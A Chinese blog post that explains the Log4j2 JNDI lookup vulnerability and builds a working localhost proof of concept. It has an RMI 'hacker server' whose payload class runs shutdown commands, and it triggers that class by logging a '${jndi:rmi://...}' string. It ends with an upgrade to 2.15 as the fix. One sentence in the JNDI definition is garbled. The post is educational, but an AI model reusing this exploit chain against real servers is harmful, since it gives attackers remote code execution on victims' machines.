前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >假如六六是个黑客怎么破解Log4j呢

假如六六是个黑客怎么破解Log4j呢

作者头像
用户9927510
发布2022-07-29 09:16:57
1980
发布2022-07-29 09:16:57
举报
文章被收录于专栏:六脉神剑的程序人生

大家好!我是小六六,三天打鱼,两天晒网!

最近两天,我相信Java圈子讨论最多的就是这个Log4J2的漏洞了,毕竟影响还是很大的

被全球广泛应用的组件Apache Log4j2被曝出一个已存在在野利用的高危漏洞,攻击者仅需一段代码就可远程控制受害者服务器。几乎所有行业都受到该漏洞影响,包括全球多家知名科技公司、电商网站等,漏洞波及面和危害程度均堪比 2017年的“永恒之蓝”漏洞。

原因

通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

小六六带大家来看看Log4j2的官网,我们先从官网找下答案 https://logging.apache.org/log4j/2.x/manual/lookups.html

image.png

什么是Lookups

Lookups提供了一种在Log4j配置文件任意位置添加值的方法。它们是实现StrLookup接口的特定类型的插件。有关如何在配置文件中使用Lookup的信息,请参Configuration页面的“属性替换”部分。

说直白点 它就是能打印一些特别的字符串,比如我们Java的系统参数,如果我们用容器,用了k8s,它提供出来打印一些参数,这样我们就可以在排查日志的时候。知道获得更多的日志信息了,直接来看我写的demo

image.png

那其实,如果仅仅是这个功能的话,其实也没什么,只是把字符串转换成了一些系统参数而已,这并不是最终的原因

真正的原因是Lookups是基于Jndi的,这才是它漏洞的根本所在

什么是JNDI

JNDI是什么:The Java Naming and Directory Interface,java命名和目录接口,是一组在java应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名LDAP来黑掉我们的fu和目录服务的通用、统一的方式。借助于JNDI接口,能够通过名字定位用户、机器、网络、对象服务等

  • a. 命名服务:就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器
  • b. 目录服务:一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息

嗯!按照小六六的理解你把它理解成一个注册中心就成!虽然不一定对哈,你暂时这样理解吧,JNDI其实还需要配合另外一个技术RMI或者LDAP来黑掉我们的服务

什么是RMI

其实分布式系统开发,早在0几年的时候就被提出来过,只不过当时的分布式技术并没有现在的那么成熟,今天漏洞的主角RMI,其实指的是JRMI

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

简单来说这个技术能够做到跨JVM调用,意思是调用一个远程方法,像调用本地方法一样,哈哈是不是感觉和现在的分布式系统开发很像呢?

来看看RMI的一个demo

image.png

首先我定义2个服务,一个A服务(我称为服务端) 一个B服务(我称为客户端)

A中有三个类

  • HelloService
代码语言:javascript
复制
package com.xiaoliuliu.a;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
  • HelloServiceImpl
代码语言:javascript
复制
package com.xiaoliuliu.a;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
    }

    public String sayHello() throws RemoteException {
        System.out.println("xiaoliuliu hello!");
        return " xiaoliuliu hello!";
    }


}
  • A 启动类
代码语言:javascript
复制
package com.xiaoliuliu.a;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class A {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("hello", new HelloServiceImpl());
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

}

B中有2个类

  • HelloService
代码语言:javascript
复制
package com.xiaoliuliu.a;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
  • B 启动类
代码语言:javascript
复制
package com.xiaoliuliu.a;

import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class B {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            HelloService helloService = (HelloService) registry.lookup("hello");
            System.out.println(helloService.sayHello());

        } catch (NotBoundException e) {
            e.printStackTrace();
        }
    }
}

然后我们启动A 再启动B 相当于2个JVM之前的调用就完成了

image.png

最后来看看Log4j是怎么实现这个远程调用的

重点来来,小六六带你一步步去解开这个谜题哈,首先六六这边肯定先启动一个小六六黑客服务端

  • HeiKe服务 2个类

image.png

  • OBJ 攻击服务要做的东西
代码语言:javascript
复制
package com.xiaoliuliu;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class OBJ implements ObjectFactory {

    static {

        System.out.println("小六六又黑到一台服务器");

        long time=3600L*24*6;
            try {
                //6天后关机
                Runtime.getRuntime().exec("Shutdown -s -t"+time);
                Thread.sleep(1000);
                //取消关机
                Runtime.getRuntime().exec("Shutdown -a ");
            }catch (Exception e){


            }

    }


    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("获取攻击。。。。。");
        return null;
    }
}
  • Server 启动类
代码语言:javascript
复制
package com.xiaoliuliu;
/*
 六六黑客服务端
 */


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        System.out.println("小六六黑客注册成功 6666");

        String className="com.xiaoliuliu.OBJ";
        Reference reference = new Reference(className, className, null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aaa",referenceWrapper);
        System.out.println("小六六黑客服务器绑定成功");

    }

}

然后开最后是怎么黑的

  • Demo
代码语言:javascript
复制
package com.xiaoliuliu;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Demo {

    private static  final Logger log= LogManager.getLogger();

    public static void main(String[] args) {
        //部分需要这个 看jdk版本
    //    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        String userName="${jndi:rmi://127.0.0.1:1099/aaa}";
        log.info("小六六的名字 {}" ,userName );


    }
}

image.png

看重点,我竟然利用了Log4J执行了 我黑客服务的代码,你就说6不6,这他妈 分分钟搞死你的服务。。。我的天

解决方案

解决方案这玩意当然也简单,我把版本神级到2.15就好了,小六六当场给你演示

image.png

看到没有,完美解决!

结束

好了,我们来总结下,其实这个漏洞就是可以利用jndi和rmi这2种技术使你部署的服务器执行了我黑客服务器的代码,从而达到黑客的目的。这个问题小六六就给大家讲到这了。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 六脉神剑的程序人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原因
  • 什么是Lookups
  • 真正的原因是Lookups是基于Jndi的,这才是它漏洞的根本所在
    • 什么是JNDI
      • 什么是RMI
      • 来看看RMI的一个demo
      • 最后来看看Log4j是怎么实现这个远程调用的
      • 解决方案
      • 结束
      相关产品与服务
      容器服务
      腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档